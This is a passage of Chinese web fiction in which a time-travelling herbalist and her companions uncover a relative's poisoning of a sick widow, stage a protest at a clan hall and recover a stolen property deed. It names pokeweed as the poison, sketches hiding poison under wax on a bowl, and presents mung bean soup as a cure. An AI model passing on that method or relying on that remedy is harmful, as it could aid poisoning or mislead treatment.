她对着镜子拆头饰,嘱咐李嬷嬷:“算了,咱们睁之眼闭只眼就是,她竟有心帮孟家,那你便和张贵打声招呼,平常看管他们的时候,留个心眼就罢了。”
李嬷嬷点头应道:“刚刚小满来咱们院小库房找了好些补药,有些还挺金贵的。”
江夫人不在意摆摆手:“由她去吧,这些孩子眼里哪有什么金贵不金贵的想法,说到底就是想着救人,不计成本罢了,没当家不知柴米贵,我既能帮她兜底,随她折腾无妨的,若是她要取什么东西,只要我这个做母亲能给得起的,都让张贵从我账上划走就行。”
李嬷嬷笑道:“还是夫人疼孩子们。”
好不容易熬到佛堂解禁的日子,加上学堂又休假三日,江日暮临走前恨不得多给佛祖磕上八百个头。
这些时日,出了学堂就是抄经念佛,念完佛就是忙着调配孟母的方子,晕头转向好几日了,应该去集市上沾沾人气了。
她拉着小满就往集市上跑,想着先去吃点好吃的,再去孟家瞧瞧孟母,小满这段时间日日往孟家跑,回来说孟母的身子大好了,能下床后,就不窝在那房子里面吸闷气了,现在也愿意在外面吸吸自然风,听了小满的话,江日暮觉得孟母的恢复比她预计的还要快些。
正眼见一张漂亮的玉枕在摊头,她欲讲价带给孟母,没想到小满慌慌张张的跑来了。
“小姐!”她喘着大气,扶着摊子,断断续续的咽口水,等气顺好了,她急切的拉江日暮的手:“小姐,不好了。”
江日暮乍一听,还以为是上面查税的人,查查到她大舅舅头上了,立马抓着她问:“怎么了?怎么了?是不是我大舅舅出事了!”
小满拍着胸口:“”不是,不是,是我今日去给孟家送,您嘱咐我帮孟大婶煎完药见她喝了再走,可今日不知为何,孟大婶喝完药睡下后就没醒来,好像晕过去了。”
“孟善喊了半天没反应,您快去看看吧。”江日暮心中一慌。
不应该的!她的药不会有问题,也是周序提醒,为防止那些宗亲有狠绝之人,他还特意嘱咐小满,每次亲自煎完,亲眼见了孟母喝下再走。
药里没有让人昏迷的成分,要有,也早就被发现了。
她放下玉枕:“先别说了,我立刻去孟家,你去喊周序来孟善家找我!”
26.天才在左 疯子在右
江日暮匆忙放下玉枕对小满道:“我立刻去孟家,你回董府喊周序来孟善家找我,要快!”
周序一听说孟善家出了事,扎完马步一身汗衣服都没来及换,拉了匹马就走了。
江日暮当然知道不可能是药的问题,这其中肯定有外界因素,只希望孟善别误会是她动的手脚,这才是麻烦事,多想无意,赶紧去看看再说。
孟家的院门开着,江日暮心慌的推门进去,见孟善正跪在他母亲床前焦急的等待,见她来了,仿佛见了救星,没忍住痛苦哽咽道:“江姑娘,请你快看看吧,我阿娘好像快不行了。”
还好他没对自己有误会,江日暮松了一口气,安慰的话不需说,先诊脉探病。
她扒开孟母的眼睛,又摸脉象稳中带浮,生怕漏了一点差错,又细细探脖子,探鼻息,可左看右看都惊奇的发现孟善的母亲并无任何异常,甚至在江日暮这几日的调理之下,他母亲的脉搏要比十几日前见更沉厚了些。
江日暮基本能断定,可能是中了毒,她大脑飞速运转,想一切可能中毒的原因。
孟善眼巴巴的看着她,在等江日暮说结果,见她神色凝重更是不敢多言一句,默默捧着他母亲的双手。
江日暮:“孟善,你最近可与别人结过仇?”
孟善听出了她话里的用意:“江姑娘,我阿娘是不是中了什么毒?”
江日暮点点头:“你还愿意相信我,说明你也知道我的药不可能有问题,像这样突然晕倒或死亡的情况,多半都是误食了什么,我得弄清楚根源,才能对症下药。”
孟善:“我这段时间日日陪伴阿娘,有时出门也是确保小满姑娘在照看,我才会走。”
江日暮喊小满进来:“你们两个给我讲一讲,今日孟婶吃用了什么,做了什么,一丝一毫都不要落下。”
二人点点头,开始回忆。
孟善:“小满姑娘一开始送来的药,阿娘连喝了五日,精神头明显好多了,能下地后她便说着要到外面吹吹风,今早也是一样的,起床喝了点米粥,早中午在门口发了会儿呆,小满姑娘便来了,带来了董府的吃食,阿娘吃下后,小满姑娘的药煎好了,凉了一会儿喝完直接午睡了。”
小满:“药壶我全程盯着的,熬好的药也是我亲手端给婶子喝的,不会有事。”
江日暮:“你们怎么发现孟婶不对劲的。”
孟善:“是我,我今日帮忙小满姑娘收拾食盒,不小心将药壶摔掉了地上,声音脆响,可床上的阿娘毫无动静,我以为她睡的沉,可又有点不放心,便叫了两声,果然,怎么叫都不醒。”
小满:“孟善一发现他阿娘昏迷,我立马就来找小姐了。”
差不多他俩能总结的都总结了,可情况陷入僵局,江日暮百思不得其解,家中没有离人,毒从哪里来呢。
不放心,她又问一遍:“小满,你再细想想,确定你煎药的时候寸步不离了嘛?”
小满没犹豫的点头:“我很确定,从煮到亲眼看孟婶喝下去,我都是亲眼盯着的,不会有问题。”
江日暮端着药壶研究半天没眉目,颓然坐在炉子旁想东西。
“孟善,你把你家的用的碗拿给我看看。”
一抬头,是周序来了。
江日暮听他这样说,感觉自己像找到了方向,没等周序开口,她接过孟善送出来的碗,放到鼻下闻了闻,可闻半天......
“周序,这只是一只普通的碗。”
她自十八岁上大学,二十七岁进研究所,与中药打了近十年的交道,碗里曾装的都是自己惯用的药材,再熟悉不过了。
她有些震惊的看着周序:“这碗沾过的药味不对劲,我配的药里没有这种腥味,可这碗有。”
孟善也拿过碗闻了闻:“会不会是装过鱼。”
江日暮摇摇头笃定道:“不是,我确定不是,鱼腥味和草腥味我还是能分出来的。”
周序看着他们琢磨碗,一直没发表言论,孟善本来只是闻闻,可手指摸到碗底的时候,他发现了问题。
他倒扣碗,碗底朝上,指腹搓着碗底惊道:“这不是我家的碗!”
小满听见了,自是不信:“不是你家的碗?怎么可能!这几日一直用的都是这瓦釉黑碗呀。”
孟善高高举起,迎着光又仔细确认了一遍,眼神定定道:“村子上的碗都出自一个窑厂,各家各户模样一样,为防止有时拿错说不清理,大多人家都会在碗底刻自家的姓氏,碗是我爷爷在世时置办的,我家与大伯家的碗都刻了一样的“孟”字,就像眼前的碗,是来自大伯家的。”
江日暮不解:“既然都长的一样,你如何分辨这碗并非你家的而是你大伯家的?”
孟善将碗底展示给他们看:“我家的碗久年不更换了,一个破碗用了几十年怎么可能没有磨损磕碰,我记得碗底就有个豁口的,你看看这个碗底,光滑平整,哪像日日用的。”
小满一拍手:“说到这个我想起来了,前天村里有个人家办酒席来借碗,很有可能是昨天送回来的时候送错了。”
她又多问了一句:“可就算拿错碗又怎么样呢,我用之前也洗了,不可能沾上毒药的。”
江日暮被带进节奏苦思不已,却见周序平淡如常,忙用胳膊肘击他,白他一眼:“你肯定是知道什么,快说说,我们几个都快要绕晕了。”
周序低眉看她,道:“那就先问问孟善,他和他大伯家有多大的仇吧。”
孟善从刚刚的惊奇到现在已经异常平静了:“如果毒药是他们下的也就合理了,自打父亲走后他们没少来欺辱我们,阿娘这病少说一半是被他们气的,霸占了我们小院田产不够,又来打这小破屋的主意了。”
他笑笑,笑的苦涩:“我那婶婶家近日来了个打秋风的弟弟,刚从牢里放出来,是个品性差到掉渣的败子,三四十岁的男人没了父母啃老,转来啃自己姐姐了,婶婶憋气又狠不下心不管,早就打算着弄走我家的房子,给她弟弟安身。”
江日暮听着生气:“她可能真打算!完全不把你当侄子,也没把你当人!”
孟善习惯了,继续:“我做了和尚后,婶婶隔三差五就到我阿娘床前劝说,说我既归了佛门,便不需要这些外物傍身,让我阿娘死后将小屋田地还给他们,还说当年这个小屋本就是借给我们住的,房契还在他们手里,等我阿娘一走,就交割清楚。”
正义小满忿道:“真是黑眼珠见不得白银子——翻脸无情,摊上这样的恶婶婶,也真是命不好了。”<
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周序接话,语气里能听出些许看透的了然:“这算什么呢,谋财害命的多了去了,谁会贪图你钱多时候问一句你过的好不好,亲生父母都能为了钱舍弃孩子,何况这个和孟善八杆子不着血缘的婶婶。”
江日暮知道他在说什么,他在说文妹也是在说自己。
她接上自己的疑问:“那你怎么肯定孟婶的毒和他婶婶有关,药又是怎么下进来的呢。”
周序拿过碗,让江日暮摸了摸碗壁,果然不寻常的是,碗璧糊了一层没洗干净的油膜,而最初闻到的草腥味真是这层诡异油膜的味道。
“哦!我知道是什么毒了!是用商陆泡出来的水!”江日暮总算从自己庞大的药材体系里回忆出了这个味道。
商陆是一种有毒的中药材,古代常被用作“下毒”或被“误食中毒”,它的毒性主要集中在根部,且外形与人参极为相似,浅度呕吐,中毒猝死,看来孟母夹在中间,没死却神智昏迷。
她赶紧让小满去买多多的绿豆汤,只要喝的及时,还是有救的。
找到了毒源和解法,大家才算松了一口气,不禁脸上洋溢出喜悦,大家愁眉苦脸的时候,周序神色轻松,现在得救大家高兴了,周序又锁眉了。
江日暮:“怎么了?还有什么不妥嘛!”
周序放好碗,不慌不忙朝江日暮道:“先别高兴的太早,咱们还有一场恶战要打的,之前不是已经商讨了几个帮孟善要回家产的计划嘛,其中一个是让孟婶装病的,现在既然对方抛了个绳子出来,那咱们何不接住?”
江日暮一听,眼睛瞬间亮了,她小兔子般跳到周序面前,用无比期待的目光看着他:“难道说,咱们的计划要提前了!”
这几日听周序分析,当年孟善爷爷知道自己的小儿子不是个东西,生前召立孟氏族长和几个有威望的长者立了与孟善父亲的“分家书”的,并且指定由自己的亲孙孟善继承小院子和三十亩田产。
一般步骤到这里,就是等爷爷去世后,由族长或中人主持,按照遗嘱分割财产,陪着继承人到官府立契、交税契、过割财产,直孟善拿了“红契”才算走完过户流程。
古时官家认可的房产证,必须官府在契约上加盖红色官印,并附上“契尾”,才具有法律效力,官府才管。
而未走官府过户流程,纸上有只立书人与被赠予人的签字画押,那个叫做“白契”,“白契”虽然民间有效,但不受官府完全保护,。
所以啊,麻烦就麻烦在这里!
孟善只是听自己爷爷临死前说,他做了立遗嘱这件事,但他一点凭据都没有,再恶人欺上门的时候,腰杆不敢直,只能退让。
而爷爷死前写下的“白契”在族长孟昌德那处保管,孟善拿不到书,就没办法要回房子,可谓民间没人信,官府更不必说了。
周序的最初的计划就是先搞到“白契”,不然一切都是免谈。
江日暮很佩服周序的智商以及出谋划策的机智,他在佛堂温声细语给她讲解的时候,江日暮就觉得他简直帅爆了!
有句话怎么说的,天才在左,疯子在右,江日暮不想周序成为疯子,她看着周序眼神像社会主义接班一眼坚定,心里许诺,只要她在,周序一定会是天才,不会是疯子。
27.一洗欺凌 适时反击
以往大家族中分家分田的契书,大多由亲族中地位最高的族长保管,而当年大伯欺他们孤儿寡母,直接联合了族长,谎称没有“过契”一说,大伯来要他家房田的时候,端的是一派正经。
原本周序想的计划是让孟善大闹祠堂,引得亲族都过来,趁此便潜到孟昌德家,将他祖父的那张“白契”搜出来,现在有了孟家婶子的助力,这场大闹的由头显得更加有说服力。
江日暮:“你是想借着孟善母亲昏死一事,闹的大家注意力都在祠堂,等孟昌德出场,咱们再去他家来一个空城计?”
周序道:“嗯,这几日我跟着武学师傅学了轻功的本事,这孟昌德没有妻子,孩子也在淮南做了什么小官,平常都是一个人在家,我们这样......”
他拉过江日暮,二人凑着头低语,小满很是好奇,自己家小姐什么时候跟周家公子这么熟络了,来苏州之前不还咬死要退婚的嘛。
她眼看着自己家小姐一会笑的花枝乱颤,一会叉腰骂娘的,但一旁的周序手背在身后,头微微偏向江日暮,脸上也看不出什么喜怒,怎么就把小姐逗的这么......丰富多彩呢。
初步计划商量定了,孟善行动迅速,江日暮给孟母喝下解药后,又补了一碗安神药,草席白布一裹,孟善就把他母亲卷到了祠堂。
那祠堂不大,不过一间正房带个天井,青砖的墙基长满墨绿的苔藓,黑瓦的屋脊上蹲着几只沉默的脊兽,一股陈年香火混合着朽头味是它的专属。
天井里有一棵老槐,枝叶将本就不多的天光滤得愈发幽暗,青石板缝里挤着茸茸的湿绿,内部有一座不算高大的神龛,龛中牌位乌沉沉的,只勉强辨得清“某某堂上历代祖先”的字样。
孟善将昏迷的母亲安置在屋内,自己跪在外面,等经过的人多了,他就大声喊叫:“孟民发与他老婆合谋霸占我财产,还下毒害我的母亲王氏,我有证据在手,请各位乡亲帮我做做主吧!”
小满与临轩守在孟母身旁,孟善搬出祭祖用的瓦缸,一边烧纸一边哭丧,他又穿了一身僧服,这样的场景瞬间抓住来往村民的眼球。
大火窜出老高,扑出的烫气让他面门发热,如同他此刻火热的心,只觉得痛快舒畅。
这一天他等了很多年了,若非与江家小姐相识,为他出主意撑腰,怕是他母亲早就稀里糊涂的死透了,他都还活在鼓里,被恶人搓磨半生,让恶人得意半生。
他不愿!
人可以退,但不能一退再退,等在时机反击,现在就是他付诸一炬最好的时机,火苗燃烧起来的还有他心里从没被发现的欲望,他开始渴望权力,渴望成为人上人,渴望以高位者的姿态让那些丑陋的嘴脸对他俯首称臣。
祠堂已经被围成人墙,村民对于看热闹这件事情从古至今都有着空前的痴迷梦,孟善中气十足的几嗓子,让乡里乡亲的,一传十十传百,就连邻村的都提着胃口来看八卦。
动静很快闹到孟昌德耳朵里,孟家好些个长辈催着他去了祠堂看看,孟善大伯更是瓷碗一摔,火急火燎的就往祠堂走。
孟昌德心里有些大虚,七十岁高龄被人连拉带跑,掉了两次鞋子:“这孟二家的小子造的什么孽哟,什么事情值得闹到老祖宗面前啊。”
他费半条命小跑进祠堂,进去的时候孟孟善就跪在大门中央的空地上,白布盖着估计是王氏。
围着的人指指点点,口中议论纷纷,家族里出这种欺弱霸地的事,是很影响一族之长在村民心中的分量的,他怕丢脸,赶紧上去拉孟善:“你怎么闹到这里来了,有什么冤情你去官府告啊,老祖宗在地下都睡了百年了,你还指望他们出来给你主持公道嘛!啊!这是大不敬啊!”
孟善挣开他的手,看他:“官府,我自然要去,但我得先解决家里的事,地下的帮不了我,那就请族长帮帮我,这么多人看着,我就不信,你能眼睁睁看着家中恶人谋财害命。”
说罢,他高高举起一卷纸,眼中清明,如雾气般散尽那样沉静如水:“我要告孟家大伯孟民发,告我家婶许芬子,霸占我家产,毒害我母亲!求族长做主!”
孟昌德不自觉咽了口水,卡里一瞬才提高声调:“你胡说什么,你祖父的房子本就有你大伯一半,哪里来的霸占,你母亲还有一口气,你不去求医,来求我做什么!”
孟善见人多,不远处熟悉的身影正往这边赶,开口喊道:
“家父早年离家出走,抛妻弃子,祖父怜惜我与寡母不能度日,临死前告诉我,他在族长那里留了契书,说要将房产田地尽数给我,虽父亲休妻,你们说我阿娘是外人也无可指摘,可我是堂堂正正孟家子孙,祖父当年就是跳过父亲,房子过户给我了!”
宗族内有几位有威望的长者心虚的看向旁处不敢出声,当年他们见证了这件事心中有数,本该族长带着孟善去衙门登记的,也没了下文。
孟善也不揭穿那些人的虚伪,继续:“族长,祖父走前说,“白契”在您手里保管着,让我等他死后,找您帮忙交割,可我没等来您,倒是等来了我大伯将我们像狗似的赶出去,那个时候您在哪儿,怎么没来看看呢。”
孟昌德气氛道:“孩子,你这是说的什么胡话呀,哪里来的什么白契,你与大伯同宗同源,又纠葛那是算做你们这一门的私事,都说清官还难断家务事呢,你家那纠纷理不清,我也不好说什么啊!”
孟善不屑冷哼:“因我年岁小,母亲让我忍气吞声,我们只求活着全都受了下来,说好对半分,可我家大伯却将一进院的瓦房强换了茅屋给我们,用三亩偏田换我家三十亩良田,这是何等明目张胆强抢!”
孟昌德:“小儿胡闹!”
“我到底是不是在胡闹?难道你心里没数吗?我倒要看看,身为一族之长,是怎么包庇这些污糟事的,乡亲们,好好看看,睁着眼睛说瞎话,愧对列祖列宗的到底是谁!”
动静并没有闹多久,孟家大伯慌慌张张的挤来了,不说一句,上来劈头盖脸的一脚,扬手呼孟善巴掌。
可孟善哪里还是那个任他欺负的小儿,他单手截住孟民发的手,将他往前一拉又借力重重往后一推,孟民发已年过半百,一路赶来去了力气,一个踉跄摔到屁股墩,当场哎哟哎哟倚老卖老。
“说外甥打人了,反了反啊,小畜生!”
孟善看着后跟来的婶子,指着她喊起声:“我家婶
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婶霸占我家房产不够,现在还要毒死我母亲抢占我家那小草屋!”
许芬子被骂了,也不示弱,扒开人群用尖锐的声音治:“小畜生,你胡说什么东西?我再说一次,房产就是你祖父的,你们当年并未分家,说破天去,你爷爷死后也是一人一半,何况这个房子刚起的时候,你大伯也出钱出力了,就算多占一点也是应该的,长辈做事,哪儿有你质问的余地!”
她招呼起来:“乡亲们见证,事情过去这么多年,你那时不满意为何不说,现在长大了,翅膀硬了,想找我们要回去了,岂有这个道理,田虽说分少了点,那还不是怕你娘一个人种那么大的地,太过辛苦,你摸着良心说,说你大伯难道没给你送过米吗?”
“你和你母亲在孟家的日子还长,你少在外面听别人挑拨,与你大伯离了心,谁当你是亲人,你母亲如今半死不活,搞不好今晚就断了气,那你的家人就只有我们了!。”
孟善克制住自己要剜人的眼睛:“亲人?我在这世上没有亲人,要是我母亲断了气,你觉得我会放过你?”
孟婶微微一震,很快镇定:“你从小就蠢,你母亲身体常年不好,村子上的人哪个不知道?如今要死了,你开始找东找西扣我帽子,随口一说就想给我安上杀人的罪名,你真是个孩子,就不怕我告了你。”
孟善道:“许芬子,我母亲前些日时日病情好转,已经能下地走动,甚至还曾在家门前浇过些花水,来往的村民也都瞧见了,她既好转,又怎么会突然昏死?难道不你发现我母亲这几日有人日日送药,你眼看等她不死,心中气不顺畅,便想想了个悄无声息的法子,想毒死她嘛!”
孟善从怀中掏出瓦碗,高举过头顶:“我母亲喝药的碗,是你故意送错塞进来的,这碗送来前沾了毒水,你就是在杀人!”
许芬子显然沉不住气,开始慌了:“你别诬陷,一个碗送错到你家不过巧合,退一万步就照你说的,这碗真有毒,可你们用的时候会洗干净在用,我怎么下毒?”
孟善解答:“你这招下毒的手法早就过时了,你以为我不知道,是你用无色蜂蜡融化后封住毒粉,用刷子抹于碗壁之上,你赌的是正值夏季,没有人家洗碗会用热水,凉水融不化蜂蜡,但喝的药却是极其高温,高温遇蜡,蜡融于药水,这毒下的神不知鬼不觉,真是高明啊,喝完药在被清洗一次,简直无声无息。”
许芬子被戳中了心事,除了骂爹骂娘,说不出什么有花样的话。
突然,孟民发趁孟善不备,一个巴掌呼上去:“畜生!目无尊长,诬陷长辈,简直该死,你既认为是你婶婶害了你娘,你就去报官,在这闹腾,别人都知道你得了失心疯!”
骂人期间,他又从孟善手中抢过碗,狠狠往枯井里一甩:“想随便拿一个破碗就给你婶婶扣上杀人的罪名,你是脑子灌了屎了,活脱脱笑话。
孟善也不恼,用少年挑衅的眼神看他:“对啊,我脑子都是你呢,大伯,我日日夜夜把你灌在脑子里,一刻不敢忘记,我就是想问问你,你和婶婶既然不心虚,你扔碗干什么,这碗不过我路边捡来的,又不是你家那只,对了,你这么急着销毁证据,难道全被我说中了?你害怕了。”
28.大仇得报 出谋漕帮
孟民发是个精明的,不上他的套儿,转身躲围观群众道:“家中小辈不知礼数,想必是没钱过活了,想跟我要点钱,出这个馊主意来胁迫我呢,大家别看了,都散了吧。”
孟善过的穷,这事大家都知道,两家关系不好,这事大家也知道,别说这个时代,就是几百年后的现世,在城郊乡村,为个方寸之地争地恨不得要拿菜刀,喝药水的都常见的不行了。
孟善一把抓住他的衣领:“放你的屁,既然你不害怕,扔我的碗干什么,那是我的证据!”
又是趁势将孟民发一甩,直接冲到井口要跳井寻碗。
看热闹归看热闹,一众村名的心还是好的,好几个跑过来拉,口里劝着:“傻孩子,你再怎么不服气,也不能寻死啊,没有契纸做凭据,这事啊就说不上谁对谁错,如今房屋在你祖父名下,你大伯就是有资格跟你争一争的。”
孟善借着跳井,大家来劝的势头,委屈的哭出来:“房子丢了也就算了,可许芬子下毒害我母亲,这笔帐怎么算啊,我身为人子,怎么由的他们这样欺人太甚!”
有妇人道:“你大伯他们也是土生土长在这里的,都知根知底,不是你说的那个样子,他们老实人哪做过什么十恶不赦的坏事,你纵是恨他们,也不能用这样荒唐的话去诬陷啊。”
孟善抹去要流下的泪水,先是抽搭两声,可听着越来越多的人帮孟民发说话,他憋不住嚎啕大哭:“对,我就是没有证据,就是没有契纸,难道没有这些我就不能反抗嘛!他们有人庇护,有钱封嘴,一点活路不留给我,我该受着不活了嘛!”
“可怜我母亲自小拉扯我长大,被逼到这步田地,我就算不活了,也要将他们做的脏事说出来,来啊,大家都别活,谁逼死我们母子,我就拉谁下地狱。”
大家看孟善的眼神里已经有些同情,大多觉得这个孩子疯了。
忽见他跪下拉着许芬子的衣服:“大婶我求求你,给我母亲解药吧,房子我不争了,你放我们一条生路吧!”
许芬子大庭广众被这样拉扯很是厌恶他,大伯也是恨不得将他杀了的眼神,但二人表面上维持着被冤枉的可怜样子。
孟民发装出一副长辈关心的样子,将他扶起来道:“孩子,你既是我外甥,你有了困难,我肯定帮到底,你放心,若你母亲真的出事,大伯一定出钱包她后事,可好?”
他关怀孟善的样子那叫一个情真意切,大家纷纷夸赞孟家大伯仁心善意,对他这个疯疯癫癫出家做了和尚的外甥,真的是仁至义尽了。
可孟善不理,他转身扑去祠堂正门,列祖列宗牌位前连连磕头,咚咚咚磕在青石板上,没两三下便磕出了血印,他叫苍天大喊世道凉薄。
纵然这一切都是吸引族长大伯的计策,可他这么多年的恨是真的,怎么不恨呢?
他曾经恨过孟民发与孟昌德之间的苟合,也恨过邻里之间狗眼看人低的势力,最后不都是恨了自己,恨自己懦弱一味退让,才退无可退。
人群将祠堂围的水泄不通,一个家丁费了劲进来,表情很不淡定,搜寻了一圈找到了孟昌德的位置。
他也不顾什么尊卑有别,朝孟昌德眨巴了半天眼睛,拉他到角落里才凑上耳朵说话。
“老爷,家里被人偷了!”
孟昌德一震:“什么!可少了东西!”
“夫人让我跟你说,书房里那暗格的东西全丢了!”
“什么!”
孟昌德彻底慌了,差点两眼一黑,那暗格里不仅放着当年孟善爷爷当年的手书和白契,还有这些年为村民做脏事,往来贿赂的账簿,其中就有十几年前孟民发送给他的白银五十两,好酒三坛。
要是送去官府,少说提个三十大板,十年牢饭,坐牢能坐,要是挨板子,他这身板连五下都不一定挨到住。
他恨的拍腿:“夫人在家干什么吃的,家里一群人看着怎么还能把东西看丢了!”孟昌德晕眩后简直气得发抖。
他第一眼先去看孟善,可孟善爬在他母亲身旁哭诉,接着摇摇头,冒出怀疑的种子,可又不确定是不是孟善搞的鬼,若不是,又怎么可能这么巧合!
他当下心里空空的,周围闹哄哄的声音也听不见了。
孟善虽然一直在痛苦,但也撇见了过来的家丁,在看孟昌德的状态,他也猜到了周序估计是拿到了白契,但他没猜到除了白契,周序与江日暮的收获真不小。
找证据的时间比预想的久一点,孟善那些说辞反复来去,村民也听烦了,没有实际证据,光靠嘴诬陷,不会有人当回事。
江日暮与周序潜进孟家找了许久无果差点功亏一篑,还是她灵机一动,让周序把孟昌德家书房打开,下人见书房的锁被撬了去报人,那孟昌德的夫人才进屋子去确认重要东西有没有丢的。
这一确认,他们直接就找到了暗格里的盒子。
他两混在人群里,见孟善目光过来,立马做了个成功的手势。
孟善心下一松,呼出一口气终于站起身,江日暮见他原本还在哀伤的眼中划过的一丝狠厉,可在周序眼中却看到了绝望后的释然,这眼神何曾与他相似。
命运不公却无法抵抗的绝望,孤注一掷已不在乎胜负的释然。
几个当年一起公证的长者,有些已经不在了,剩下的都来了。
他们深知这件事是孟昌德以权谋私,可他们不能说,毕竟枪打出头鸟,没人知道此刻揭发族长老底或有什么后果,可能惹火上身,全家老小不保。
人可以做善事,但不能危及自己利益与家人做善事。
孟善收起刚刚真情实感的演技,呼出一口气,犹如变了一个人,他眼神与刚刚截然不同,比之前更加锐气,不去看他大伯,而是盯着孟昌德一笑,嘴角的笑挂着挑衅。
他走近孟昌德,先是沉默,孟昌德活了七十几年什么样的人没见过,光是看孟善的眼睛,就确定了家里遭贼与他有关了。
“是你搞的鬼!你想干什么!”他强撑镇定,压着音调,生怕有人听见。
孟善笑道:“族长怕是年纪大了,能不能再好好想想,当年我祖父可交代过你什么东西,你忘记办了。”
孟昌德捏着拳再次发抖,他不敢松口,万一孟善只是吓唬他呢,只要没看见自己的罪证,他愿意博一把。
可......
事不如人愿。
周序抱着孟昌德暗格里的盒子送到孟善面前:“孟兄,你出门的急,有东西忘记拿了。”
檀木雕花的小方盒斑驳掉漆,看起来有经久岁月的痕迹,就和孟昌德一样禁不住半点折腾了。
孟善再问:“您真的什么都不记得了嘛,要不要我帮您回忆回忆。”
孟善边说,边不经意的打开檀木盒,他一张张展开看,越看神色越凝重,最后变得冰冷。
孟昌德心死了,他满是皱褶的脸上维持着僵硬的笑,指甲已深深掐进掌心,背脊上,一层细密的冷汗悄无声息地浸透了内衣。
“你想要什么,我都可以给你,下午,哦不,马上我就带你去官府过户,我上数三代,与你也是一个祖宗,你算我半个亲孙子,爷爷想求求你,放过我这一次吧。”
除了几家被他扣下没过户的白契,还有他这些年来受贿的三百两百银等珠宝贵饰,直到孟善看见几张族中女孩子的身契,他的血液像是被热狗油滚过,急速冲上大脑!
“老畜生!你怎么做得出!”
孟善一脚没个轻重,一下子就把孟昌德踹出老远。
老人的骨头受不住力道,哎哟哎哟喊着:“杀人啦,孟善杀人啦!”
孟民发见孟善这般猖狂,更是想找个借口给他办了,立马假装打抱不平道:“打人啦,孟善殴打七旬老人!快去报官快去报官!”
孟昌德才反应过来,虚弱的抬手想阻止:“别报官啊!不能报官!”
奈何他声音实在太小,孟民发更掌握了什么顶级情报一样,恨不得飞进衙门,喊人再飞过来给孟善按住,以寻衅滋事,打人为由给他几板子才好。
这场祠堂热闹以孟民发带着七八个官差来抓人结束了。
董绸这几天为整理账务粮税早就焦头烂额,孟昌德那一沓账本生生撞上了枪口。
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板子还没打下来,孟昌德全都招了。
孟民发被押进大牢的时候都不明白发生了什么,他不是去喊人来抓孟善的嘛,为何自己和孟昌德做的那些事全被抖落出来了。
打了十板子不说,还喜提大牢十年包吃住,许芬子也没躲得过去,她家下人受她苛待,自告奋勇供出了她以药混油,下毒一事,与孟民发一起患难与共了。
孟昌德板子没捱过第八下,人在凳子上咽了气,没收家产,算是结局。
孟善拿到自家田屋红契时,没什么表情,他知道自己大脑很高兴,大约是因为太高兴而忘记该怎么表达高兴。
眼角无声滑落的泪滴似在提醒他,他赢了,过程怎么赢的不重要,结果他已经很知足了。
心中感激不能言表没,他对着江日暮与周序一拜又拜。
“江姑娘,周公子,我孟善无权无势,只一条贱命是你们救的,以后若有需要我一定刀山火海也在所不惜。”
江日暮扶起他:“刀山火海也不至于,我真是有事情请你帮忙。”
孟善看她。
江日暮道:“听说京州要派巡史到江南微服私访,我大舅舅这几日整理成年旧账力不从心,你识文断字,又通数理,不如在官府做个书手,好助他一臂之力。”
孟善要应,周序截了话:“一般太平年间,上面派下来的巡按御史虽位居七品,但位卑权重,光是“代天子巡狩”这一指责,就可直达天听,一路地方大员亦惧。”
“这次人还没指派,风声就传遍了,那他们巡查的重点应该不会放在你大舅舅身上。”
江日暮一个现代人自然不懂古代官职的弯弯绕绕,问道:“所以,你觉得大舅舅应该不会有什么问题?”
周序点点头:“董知府手下有本事的太多,纵然各处不尽完美,也有智囊团帮他出主意排除问题,你不用太担心他,你该担心的应该是你二舅舅。”
“二舅舅!”
“对,你二舅舅管着漕运,听起来就是个跑船的,可实际上他掌控着北方粮食甚至军械的命脉,民以食为天,国以器为重,要是这一次有人挑你二舅舅的错,随便安个罪名他都能没命,苏州的漕帮要是换人,你大舅舅完了,董府也完了,甚至朝堂之上,你父亲与兄长都会被拖累!”
江日暮胸口一口气没下去,口水吞咽数次惹的脸腮发酸,她承认,周序的话一招致命。
“那怎么办!”
“不如请孟兄到你二舅舅处做个副手,将近五年的账册,来往运输记录好好整理一遍,若有什么不妥的地方,干净找由头填补起来,以备不时之需。”
江日暮崇拜的眼神看周序,拍上他背:“周执言,不愧是你,你要是心思用在正路上,别说一等护国将军了,吐蕃十三部你都能搞回来。”
周序见她目光灼灼,眼神交汇他被像被烫到一样败下阵来,眼睫毛轻轻颤动:“江姑娘谬赞了。”
江日暮没看懂他脸侧薄薄的绯红,拉着他坦然道:“叫什么江姑娘嘛,叫姐姐!”
......
“江姐姐!”
江日暮听见一旁的人用粗粗的声音喊她,口水差点儿呛进喉管,她皱眉道:“孟善,你大可以不用这么热情哈,你瞧你五大三粗的,哪里像我弟弟,我都能叫你叔叔了!”
孟善害羞的抓下巴,有些腼腆道:“江姑娘是我救命恩人,我觉着喊江姑娘过于生份了,既然姑娘长我三岁,那就是姐姐,还请江姑娘允我无理,称一声‘江姐姐’。”
江日暮瞧着他顶真的模样,挥挥手:“准了!”
转头又逗周序:“周执言,你瞧瞧人家那觉悟,听到没,为了显示咱两不生分,感情好,快叫句“姐姐”听听。”
周序偏过头:“快带孟善去你二舅舅那里熟悉一下吧,马上中秋节了,说不定节后京州的人就来了。”
江日暮撇撇嘴:“哦!”
一起去往码头,江日暮看着周序背影用唇语说小话:死傲娇,大木头,臭奸臣!
孟善:“江姐姐,你说谁是奸臣?”
......
29.第 29 章
连着上学数日,又到了中秋休假。
江南对中秋这个节日的重视程度,是与除夕,清明划为一类的,团圆做主题,董家混的最好,自然是他们牵头办一场赏月晚宴。
董家来了许多亲戚,当然江日暮一个都不认识。
秋日赏月夜,董府假山流水,一条水流将男女分席开来,只是一年一度难得的男女共处方寸之地,胆小的躲着打量适龄男女,胆大的在后院或游廊里小聊几句。
还有一点不明说但都心知肚明的,就是这个宴会最大的一个主题——相亲。
话说古代女子不常出闺阁,男女大防的概念深入人心,因此他们接触到外来的机会并不算多,而赏月夜正好弥补了这一点。
在宴席之上,男女席相对,可简单粗暴的互相赏看,若遇到中意的,宴会后便差人打听打听,托人寻个由头见个面。
但一般这样的场合,一定会有那么一两个作妖装B的,仗着自己有些能力的就想出尽风头,获得男人的眼光,以便在她们日后挑选时多几份选择,也能证明自己魅力,然后媒人介绍时,响亮的名声是个加分项。
偏巧赏月宴这天她约了周序去找孟善,回来的时候又路过荷塘,看见晚荷心痒摘了两朵,回府的时候已经晚了。
虽然晚,但赶得巧,刚好赶在宴会上戏台班子开唱。
